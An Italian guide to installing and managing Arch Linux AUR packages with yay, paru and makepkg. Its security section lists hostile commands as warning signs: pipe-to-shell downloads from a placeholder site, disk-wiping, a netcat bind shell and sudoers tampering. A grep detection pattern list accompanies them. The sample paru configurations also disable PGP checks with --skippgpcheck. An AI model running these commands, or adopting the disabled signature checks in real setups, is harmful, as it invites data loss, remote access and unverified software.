Arch Linux AUR: Guida Completa all’Installazione dei Pacchetti

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

┌─────────────────────────────────────────────────────────────────┐
│                        Ecosistema Arch Linux                    │
├─────────────────────────────────────────────────────────────────┤
│  Repository Ufficiali          │         AUR Repository          │
│  ├── core                      │  ├── Pacchetti Community        │
│  ├── extra                     │  ├── PKGBUILD Scripts           │
│  ├── community                 │  ├── Dipendenze AUR             │
│  └── multilib                  │  └── Software Sperimentale      │
│                                │                                 │
│  Gestiti da: Team Arch         │  Gestiti da: Community          │
│  Tool: pacman                  │  Tool: AUR helpers + makepkg    │
└─────────────────────────────────────────────────────────────────┘

1
2
3
4
5
6
7
8

# Aggiorna il sistema
sudo pacman -Syu

# Verifica pacchetti base per compilazione
pacman -Qg base-devel

# Se non installato, installalo
sudo pacman -S base-devel git

1
2
3
4
5

# Installa pacchetti essenziali per AUR
sudo pacman -S --needed base-devel git wget curl

# Verifica installazione
which git makepkg gcc

1
2
3
4
5
6
7
8
9

# Verifica che l'utente non sia root
whoami  # Non deve essere 'root'

# Aggiungi utente a gruppo wheel (se necessario)
sudo usermod -aG wheel $USER

# Configura sudo (se necessario)
sudo visudo
# Decommentare: %wheel ALL=(ALL) ALL

1
2
3
4
5

✅ Accesso a software non disponibile ufficialmente
✅ Versioni più recenti dei pacchetti
✅ Software di nicchia e personalizzato
✅ Facilità di contribuzione alla community
✅ Flessibilità di personalizzazione

1
2
3
4
5

❌ Potenziali rischi di sicurezza
❌ Tempo di compilazione maggiore
❌ Possibili errori di compilazione
❌ Qualità variabile dei PKGBUILD
❌ Dipendenze complesse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

# Naviga in directory temporanea
cd /tmp

# Clona repository yay
git clone https://aur.archlinux.org/yay.git

# Entra nella directory
cd yay

# Ispeziona PKGBUILD per sicurezza
less PKGBUILD

# Compila e installa
makepkg -si

1
2
3
4
5
6
7

# Clone e installazione in un comando
git clone https://aur.archlinux.org/yay.git /tmp/yay && \
cd /tmp/yay && \
makepkg -si --noconfirm

# Pulisci directory temporanea
cd && rm -rf /tmp/yay

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

# File di configurazione yay
mkdir -p ~/.config/yay
cat > ~/.config/yay/config.json << EOF
{
    "aururl": "https://aur.archlinux.org",
    "buildDir": "$HOME/.cache/yay",
    "editor": "nano",
    "editorflags": "",
    "makepkgbin": "makepkg",
    "makepkgconf": "",
    "pacmanbin": "pacman",
    "pacmanconf": "/etc/pacman.conf",
    "redownload": "no",
    "rebuild": "no",
    "answerclean": "",
    "answerdiff": "",
    "answeredit": "",
    "answerupgrade": "",
    "gitbin": "git",
    "gpgbin": "gpg",
    "gpgflags": "",
    "mflags": "",
    "sudobin": "sudo",
    "sudoflags": "",
    "timeupdate": false,
    "devel": false,
    "cleanAfter": false,
    "provides": true,
    "pgpfetch": true,
    "upgrademenu": true,
    "cleanmenu": true,
    "diffmenu": true,
    "editmenu": false,
    "combinedupgrade": false,
    "useask": false,
    "batchinstall": false
}
EOF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Configura comportamento predefinito
yay --save --sudoloop --cleanafter --timeupdate

# Imposta directory di build personalizzata
yay --save --builddir /tmp/yay-build

# Abilita review automatico PKGBUILD
yay --save --editmenu

# Verifica configurazione
yay --currentconfig

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Verifica installazione
yay --version

# Test con pacchetto semplice
yay -S cowsay

# Test del funzionamento
cowsay "yay funziona!"

# Pulizia test
yay -R cowsay

1
2
3
4
5
6

# Installa Rust (se necessario)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env

# O utilizza pacman
sudo pacman -S rust

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# Naviga in directory temporanea
cd /tmp

# Clona repository paru
git clone https://aur.archlinux.org/paru.git

# Entra nella directory
cd paru

# Ispeziona PKGBUILD
less PKGBUILD

# Compila e installa
makepkg -si

# Pulisci
cd && rm -rf /tmp/paru

1
2

# Usa yay per installare paru
yay -S paru

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

# Crea directory di configurazione
mkdir -p ~/.config/paru

# Crea file di configurazione
cat > ~/.config/paru/paru.conf << 'EOF'
#
# $PARU_CONF
# /etc/paru.conf
# ~/.config/paru/paru.conf
#

#
# GENERAL OPTIONS
#
[options]
PgpFetch
Devel
Provides
DevelSuffixes = -git -cvs -svn -bzr -darcs -always -hg -fossil
BottomUp
RemoveMake
SudoLoop
UseAsk
SaveChanges
CombinedUpgrade
CleanAfter
UpgradeMenu
NewsOnUpgrade

#
# Binary OPTIONS
#
[bin]
FileManager = ranger
MFlags = --skippgpcheck
Sudo = doas
EOF

1
2
3
4
5
6
7
8
9

# Configura comportamento interattivo
paru --gendb

# Imposta editor predefinito
export EDITOR=nano
echo 'export EDITOR=nano' >> ~/.bashrc

# Configurazione per sviluppatori
paru --save --devel --needed

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# Visualizza notizie Arch
paru -Pw

# Review di tutti i PKGBUILD in una sessione
paru -S --fm ranger package1 package2

# Batch install con review
paru -S --batchinstall package1 package2 package3

# Gestione avanzata database
paru --gendb
paru -c  # Clean unneeded packages

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Per utenti principianti
# yay - Più semplice e documentato

# Per utenti avanzati
# paru - Migliori performance e funzionalità

# Per sistemi con risorse limitate
# paru - Minore utilizzo memoria

# Per compatibilità legacy
# yay - Maggiore compatibilità

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# 1. Navigazione e clonazione
cd /tmp
git clone https://aur.archlinux.org/NOME_PACCHETTO.git

# 2. Ispezione del PKGBUILD
cd NOME_PACCHETTO
less PKGBUILD
less .SRCINFO

# 3. Verifica dipendenze
makepkg --printsrcinfo
makepkg -s --needed

# 4. Compilazione
makepkg -si

# 5. Installazione manuale (alternativa)
makepkg
sudo pacman -U *.pkg.tar.*

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

# Naviga in directory temporanea
cd /tmp

# Clona repository
git clone https://aur.archlinux.org/visual-studio-code-bin.git

# Entra nella directory
cd visual-studio-code-bin

# Esamina il PKGBUILD
cat PKGBUILD

# Verifica integrità e dipendenze
makepkg --printsrcinfo

# Compila e installa
makepkg -si

# Verifica installazione
which code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

#!/bin/bash
# install_aur_manual.sh - Script per installazione manuale AUR

install_aur_package() {
    local package_name="$1"
    local temp_dir="/tmp/aur_install_$$"

    # Crea directory temporanea
    mkdir -p "$temp_dir"
    cd "$temp_dir"

    # Clona repository
    echo "Clonando $package_name..."
    git clone "https://aur.archlinux.org/${package_name}.git"

    cd "$package_name"

    # Mostra PKGBUILD per review
    echo "=== PKGBUILD per $package_name ==="
    cat PKGBUILD
    echo "=================================="

    # Chiedi conferma
    read -p "Procedere con l'installazione? [y/N] " confirm
    if [[ $confirm == [yY] ]]; then
        # Compila e installa
        makepkg -si
        echo "Installazione completata per $package_name"
    else
        echo "Installazione annullata"
    fi

    # Pulisci directory temporanea
    cd /
    rm -rf "$temp_dir"
}

# Uso dello script
# install_aur_package "nome-pacchetto"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# Installazione pacchetti
yay -S nome-pacchetto              # Installa singolo pacchetto
yay -S pacchetto1 pacchetto2       # Installa multipli pacchetti
yay -S --needed pacchetto          # Installa solo se non presente

# Ricerca pacchetti
yay -Ss termine-ricerca            # Cerca nei repository e AUR
yay -Ssa termine-ricerca           # Cerca solo in AUR
yay nome-pacchetto                 # Ricerca e installazione interattiva

# Aggiornamento sistema
yay                                # Aggiorna tutto (repo + AUR)
yay -Syu                          # Aggiornamento esplicito
yay -Sua                          # Aggiorna solo pacchetti AUR

# Rimozione pacchetti
yay -R nome-pacchetto             # Rimuovi pacchetto
yay -Rs nome-pacchetto            # Rimuovi con dipendenze inutilizzate
yay -Rns nome-pacchetto           # Rimozione completa con config

# Informazioni pacchetti
yay -Si nome-pacchetto            # Informazioni dettagliate
yay -Qi nome-pacchetto            # Info pacchetto installato
yay -Qe                           # Lista pacchetti installati esplicitamente

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

# Pulizia sistema
yay -Yc                           # Pulisci cache inutilizzata
yay -Sc                           # Pulisci cache pacman
yay -Scc                          # Pulisci tutta la cache

# Gestione development packages
yay -Syu --devel                  # Aggiorna anche pacchetti -git, -svn, etc.
yay --gendb                       # Rigenera database development packages

# Modalità batch
yay -S --batchinstall pacchetto1 pacchetto2  # Installazione batch
yay -S --noconfirm pacchetto                 # Senza conferme

# Review e editing
yay -S --editmenu pacchetto       # Review PKGBUILD prima installazione
yay -S --diffmenu pacchetto       # Mostra diff durante aggiornamenti

# Gestione conflitti
yay -S --overwrite="*" pacchetto  # Sovrascrive file in conflitto
yay -S --assume-installed=dep pacchetto  # Ignora dipendenza specifica

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# Configurazione permanente
yay --save --sudoloop --cleanafter --timeupdate --devel

# Parametri di configurazione spiegati:
# --sudoloop: Mantiene privilegi sudo attivi
# --cleanafter: Pulisce file build dopo installazione
# --timeupdate: Mostra timestamp durante operazioni
# --devel: Include pacchetti development negli aggiornamenti

# Configurazione build directory
yay --save --builddir /tmp/yay-builds

# Editor personalizzato
yay --save --editor "code --wait"

# Mostra configurazione attuale
yay --currentconfig

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# Installazione (sintassi identica a pacman/yay)
paru -S nome-pacchetto             # Installa pacchetto
paru -S --needed pacchetto         # Installa solo se necessario

# Ricerca avanzata
paru -Ss termine                   # Ricerca standard
paru termine                       # Ricerca interattiva con menu

# Aggiornamenti intelligenti
paru                               # Aggiorna tutto con menu interattivo
paru -Sua                         # Solo pacchetti AUR

# Funzioni uniche paru
paru -Pw                          # Mostra Arch News
paru -G pacchetto                 # Scarica PKGBUILD senza installare
paru -U file.pkg.tar.xz           # Installa pacchetto locale

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# Gestione news
paru -Pw                          # Visualizza news non lette
paru -Pww                         # Visualizza tutte le news

# File manager integration
paru -S --fm ranger pacchetto     # Usa ranger per review file

# Batch operations ottimizzate
paru -S --batchinstall pkg1 pkg2  # Installazione batch ottimizzata

# Database management
paru --gendb                      # Genera database development packages
paru -c                          # Clean orphaned packages

# Advanced review
paru -S --review pacchetto        # Review esteso con diff colored

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# File ~/.config/paru/paru.conf ottimizzato
cat > ~/.config/paru/paru.conf << 'EOF'
[options]
PgpFetch
Devel
Provides
DevelSuffixes = -git -cvs -svn -bzr -darcs -always -hg -fossil
BottomUp
RemoveMake
SudoLoop
UseAsk
SaveChanges
CombinedUpgrade
CleanAfter
UpgradeMenu
NewsOnUpgrade
BatchInstall = true

[bin]
FileManager = ranger
MFlags = --skippgpcheck -j$(nproc)
Pager = less -R
Sudo = sudo
EOF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# 1. Verifica reputazione maintainer
# Controlla commenti, voti e data ultimo aggiornamento su AUR web

# 2. Ispeziona sempre PKGBUILD
less PKGBUILD
# Cerca comandi sospetti: rm -rf /, curl | bash, wget | sh

# 3. Verifica sorgenti
cat .SRCINFO
# Controlla che le URL siano legittime

# 4. Controlla dipendenze
makepkg --printsrcinfo
# Verifica che le dipendenze siano ragionevoli

# 5. Usa sandbox per test
# Testa pacchetti sospetti in VM o container

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

#!/bin/bash
# aur_security_check.sh - Verifica sicurezza PKGBUILD

check_pkgbuild_security() {
    local pkgbuild_file="$1"

    echo "=== Controllo Sicurezza PKGBUILD ==="

    # Comandi potenzialmente pericolosi
    dangerous_commands=(
        "rm -rf /"
        "curl.*|.*sh"
        "wget.*|.*sh"
        "dd if="
        "mkfs"
        "fdisk"
        "parted"
        "://"  # URL non HTTPS in contesti sensibili
    )

    for cmd in "${dangerous_commands[@]}"; do
        if grep -q "$cmd" "$pkgbuild_file"; then
            echo "⚠️  ATTENZIONE: Comando potenzialmente pericoloso trovato: $cmd"
            grep --color=always "$cmd" "$pkgbuild_file"
        fi
    done

    # Verifica URL HTTPS
    if grep -q "http://" "$pkgbuild_file"; then
        echo "⚠️  ATTENZIONE: URL HTTP non sicure trovate"
        grep --color=always "http://" "$pkgbuild_file"
    fi

    # Verifica permessi file
    if grep -q "chmod.*777" "$pkgbuild_file"; then
        echo "⚠️  ATTENZIONE: Permessi file troppo aperti (777)"
    fi

    echo "=== Fine Controllo ==="
}

# Uso: check_pkgbuild_security PKGBUILD

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# Opzione 1: Container Docker per test
cat > Dockerfile.aur-test << 'EOF'
FROM archlinux:latest
RUN pacman -Sy --noconfirm base-devel git sudo
RUN useradd -m -G wheel aurtest
RUN echo '%wheel ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
USER aurtest
WORKDIR /home/aurtest
EOF

# Build container
docker build -t aur-test -f Dockerfile.aur-test .

# Test pacchetto in container
docker run --rm -it aur-test bash
# Ora testa il pacchetto AUR nel container isolato

# Opzione 2: VM temporanea con virt-manager
# Crea snapshot VM prima di testare pacchetti sospetti

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# Esempio PKGBUILD sicuro annotato
cat << 'EOF'
# Maintainer: Nome <email@domain.com>  ✓ Info maintainer chiare

pkgname=esempio-sicuro                  ✓ Nome descrittivo
pkgver=1.0.0                           ✓ Versione specifica
pkgrel=1                               ✓ Release number
pkgdesc="Descrizione chiara"           ✓ Descrizione informativa
arch=('x86_64')                        ✓ Architetture supportate
url="https://example.com"              ✓ URL HTTPS ufficiale
license=('MIT')                        ✓ Licenza riconosciuta
depends=('glibc' 'libx11')            ✓ Dipendenze specifiche
makedepends=('gcc' 'make')             ✓ Dipendenze build chiare
source=("$pkgname-$pkgver.tar.gz::https://github.com/user/repo/archive/v$pkgver.tar.gz")  ✓ Source HTTPS
sha256sums=('ab1cd2ef...')             ✓ Checksum per verifica integrità

build() {                              ✓ Funzione build standard
    cd "$pkgname-$pkgver"
    ./configure --prefix=/usr
    make
}

package() {                            ✓ Funzione package standard
    cd "$pkgname-$pkgver"
    make DESTDIR="$pkgdir/" install
}
EOF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# ❌ DANGER SIGNS - Non installare se vedi:

# 1. Download ed esecuzione diretta
source=("script.sh::http://suspicious-site.com/malware.sh")
curl http://site.com/script | bash
wget -O - http://site.com/install | sh

# 2. Operazioni di sistema pericolose
rm -rf /
dd if=/dev/zero of=/dev/sda
mkfs.ext4 /dev/sda1

# 3. Accesso non autorizzato
cat /etc/passwd
chmod 777 /etc/sudoers
echo "user ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# 4. Network activity sospetta
nc -l -p 4444 -e /bin/bash
python -m SimpleHTTPServer 8000 &

# 5. Modifiche di sistema
systemctl enable suspicious-service
crontab -e

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

# namcap - Strumento ufficiale Arch per verifica PKGBUILD
sudo pacman -S namcap

# Verifica PKGBUILD
namcap PKGBUILD

# Verifica pacchetto compilato
namcap package.pkg.tar.xz

# pkgbuild-introspection - Tool community
yay -S pkgbuild-introspection

# Analisi approfondita
pkgbuild-introspection PKGBUILD

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# Problema
ERROR: 'package': missing dependencies

# Soluzioni
# 1. Installa dipendenze manualmente
sudo pacman -S missing-dependency

# 2. Usa flag --needed per auto-install dipendenze
makepkg -s

# 3. Per AUR helper
yay -S --needed nome-pacchetto

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# Problema
==> ERROR: One or more PGP signatures could not be verified!

# Soluzioni
# 1. Aggiorna keyring
sudo pacman -S archlinux-keyring
sudo pacman-key --refresh-keys

# 2. Importa chiave specifica
gpg --recv-keys KEY-ID

# 3. Skip verifica (non raccomandato)
makepkg --skippgpcheck

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# Problema
ERROR: not enough free disk space

# Soluzioni
# 1. Pulisci cache
sudo pacman -Sc
yay -Sc

# 2. Cambia directory build
export BUILDDIR=/tmp/build
# O in yay config
yay --save --builddir /tmp/yay-build

# 3. Verifica spazio
df -h /tmp /var/cache/pacman/pkg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# Problema
error: failed to commit transaction (conflicting files)

# Soluzioni
# 1. Backup e overwrite (attenzione!)
yay -S --overwrite="path/to/conflicting/files/*" package

# 2. Rimuovi pacchetto conflittuale prima
sudo pacman -R conflicting-package
yay -S new-package

# 3. Usa alternative provider
yay -S alternative-package-name

1
2
3
4
5
6
7
8
9

# Identifica pacchetti orfani
pacman -Qtdq

# Rimuovi pacchetti orfani
sudo pacman -Rs $(pacman -Qtdq)

# Con yay/paru
yay -c
paru -c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# Problema
ERROR: Failure while downloading package

# Soluzioni
# 1. Verifica connessione
ping -c 3 aur.archlinux.org

# 2. Cambia mirror AUR (raramente necessario)
# 3. Retry con timeout aumentato
timeout 300 yay -S package-name

# 4. Download manuale
wget https://aur.archlinux.org/cgit/aur.git/snapshot/package.tar.gz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

#!/bin/bash
# aur_troubleshoot.sh - Diagnosi problemi AUR

diagnose_aur_system() {
    echo "=== Diagnosi Sistema AUR ==="

    # Verifica spazio disco
    echo "1. Spazio Disco:"
    df -h / /tmp /var | grep -E "(Filesystem|/|tmp|var)"

    # Verifica pacchetti base
    echo -e "\n2. Pacchetti Base:"
    for pkg in base-devel git; do
        if pacman -Q $pkg &>/dev/null; then
            echo "✓ $pkg installato"
        else
            echo "✗ $pkg MANCANTE"
        fi
    done

    # Verifica AUR helper
    echo -e "\n3. AUR Helper:"
    for helper in yay paru; do
        if command -v $helper &>/dev/null; then
            echo "✓ $helper: $(which $helper)"
        fi
    done

    # Verifica keyring
    echo -e "\n4. Keyring Status:"
    if sudo pacman-key --check-trustdb &>/dev/null; then
        echo "✓ Keyring OK"
    else
        echo "✗ Keyring problemi - Esegui: sudo pacman-key --init && sudo pacman-key --populate archlinux"
    fi

    # Cache info
    echo -e "\n5. Cache Info:"
    echo "Cache pacman: $(du -sh /var/cache/pacman/pkg 2>/dev/null | cut -f1)"
    echo "Cache yay: $(du -sh ~/.cache/yay 2>/dev/null | cut -f1)"

    # Pacchetti orfani
    echo -e "\n6. Pacchetti Orfani:"
    orphans=$(pacman -Qtdq 2>/dev/null | wc -l)
    echo "Trovati $orphans pacchetti orfani"

    echo -e "\n=== Fine Diagnosi ==="
}

# Esegui diagnosi
diagnose_aur_system

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Configura makepkg per compilazione parallela
sudo vim /etc/makepkg.conf

# Modifica MAKEFLAGS
MAKEFLAGS="-j$(nproc)"  # Usa tutti i core CPU

# O per limitare i core
MAKEFLAGS="-j4"  # Usa 4 core

# Verifica configurazione
grep MAKEFLAGS /etc/makepkg.conf

1
2
3
4
5
6
7
8
9

# Ottimizzazioni compiler in /etc/makepkg.conf
CFLAGS="-march=native -O2 -pipe -fno-plt"
CXXFLAGS="$CFLAGS"
LDFLAGS="-Wl,-O1,--sort-common,--as-needed,-z,relro,-z,now"

# Per CPU specifiche (esempio)
# Intel modern: -march=skylake
# AMD modern: -march=znver2
# Generico sicuro: -march=x86-64-v2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# Directory build in RAM (se hai RAM sufficiente)
sudo mount -t tmpfs -o size=4G tmpfs /tmp/build

# Permanente in /etc/fstab
echo 'tmpfs /tmp/build tmpfs size=4G,nodev,nosuid 0 0' | sudo tee -a /etc/fstab

# Configura yay per usare RAM disk
yay --save --builddir /tmp/build

# Cache management intelligente
# Mantieni solo versioni recenti
sudo paccache -rk2  # Mantieni 2 versioni per pacchetto

# Pulizia automatica cache AUR
yay -Sc --aur

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# Script monitoring compilazione
#!/bin/bash
# build_monitor.sh

monitor_build() {
    echo "=== Build Performance Monitor ==="
    echo "Avvio: $(date)"

    # CPU usage
    echo "CPU cores: $(nproc)"
    echo "Load average: $(uptime | cut -d',' -f3-5)"

    # Memory
    free -h

    # Disk I/O
    echo "Build directory: $BUILDDIR"
    df -h "$BUILDDIR" 2>/dev/null || df -h /tmp

    # Network (se downloading)
    echo "Network usage:"
    cat /proc/net/dev | grep -E "(wlan|eth|enp)" | head -1
}

# Hook per pre/post build
export BUILDDIR="${BUILDDIR:-/tmp}"
monitor_build

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# ~/.config/yay/config.json per sviluppatori
{
    "aururl": "https://aur.archlinux.org",
    "buildDir": "/tmp/yay-dev",
    "editor": "code --wait",
    "makepkgbin": "makepkg",
    "makepkgconf": "/etc/makepkg.conf",
    "pacmanbin": "pacman",
    "devel": true,
    "cleanAfter": true,
    "editmenu": true,
    "diffmenu": true,
    "upgrademenu": true,
    "timeupdate": true,
    "sudoloop": true,
    "batchinstall": false
}

1
2
3
4
5
6
7
8
9

# Configurazione automatizzata per server
yay --save \
    --noconfirm \
    --noedit \
    --nodiff \
    --norebuild \
    --noredownload \
    --cleanafter \
    --sudoloop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

#!/bin/bash
# backup_aur_packages.sh - Backup lista pacchetti AUR

backup_aur_packages() {
    local backup_dir="$HOME/backup/aur"
    local date_stamp=$(date +%Y%m%d_%H%M%S)

    # Crea directory backup
    mkdir -p "$backup_dir"

    # Lista pacchetti AUR installati
    pacman -Qm > "$backup_dir/aur_packages_$date_stamp.txt"

    # Lista completa con versioni
    pacman -Qm | while read pkg ver; do
        echo "$pkg $ver" >> "$backup_dir/aur_detailed_$date_stamp.txt"
    done

    # Crea script reinstallazione
    {
        echo "#!/bin/bash"
        echo "# Script reinstallazione AUR packages - $date_stamp"
        echo ""
        pacman -Qm | cut -d' ' -f1 | while read pkg; do
            echo "yay -S --needed $pkg"
        done
    } > "$backup_dir/reinstall_aur_$date_stamp.sh"

    chmod +x "$backup_dir/reinstall_aur_$date_stamp.sh"

    echo "Backup completato in $backup_dir"
    echo "Pacchetti AUR: $(pacman -Qm | wc -l)"
}

# Esegui backup
backup_aur_packages

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

#!/bin/bash
# mass_aur_update.sh - Aggiornamento sicuro batch AUR

safe_aur_update() {
    echo "=== Aggiornamento Sicuro Pacchetti AUR ==="

    # Pre-update backup
    echo "1. Backup lista pacchetti..."
    pacman -Qm > /tmp/aur_pre_update.txt

    # Check news
    echo "2. Controllo Arch News..."
    if command -v paru &>/dev/null; then
        paru -Pw
        read -p "Continua con update? [y/N] " continue_update
        [[ $continue_update != [yY] ]] && exit 0
    fi

    # Update with review
    echo "3. Aggiornamento con review..."
    if command -v yay &>/dev/null; then
        yay -Syu --devel --timeupdate --editmenu
    elif command -v paru &>/dev/null; then
        paru -Syu --devel
    else
        echo "Nessun AUR helper trovato!"
        exit 1
    fi

    # Post-update cleanup
    echo "4. Pulizia post-aggiornamento..."
    yay -c 2>/dev/null || paru -c 2>/dev/null

    echo "Aggiornamento completato!"
}

safe_aur_update

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

# /etc/systemd/user/aur-check.service
cat > ~/.config/systemd/user/aur-check.service << 'EOF'
[Unit]
Description=Check AUR packages for updates
Wants=aur-check.timer

[Service]
Type=oneshot
ExecStart=/usr/local/bin/aur-update-check.sh
StandardOutput=journal

[Install]
WantedBy=default.target
EOF

# /etc/systemd/user/aur-check.timer
cat > ~/.config/systemd/user/aur-check.timer << 'EOF'
[Unit]
Description=Check AUR packages daily
Requires=aur-check.service

[Timer]
OnCalendar=daily
Persistent=true

[Install]
WantedBy=timers.target
EOF

# Abilita servizio
systemctl --user enable aur-check.timer
systemctl --user start aur-check.timer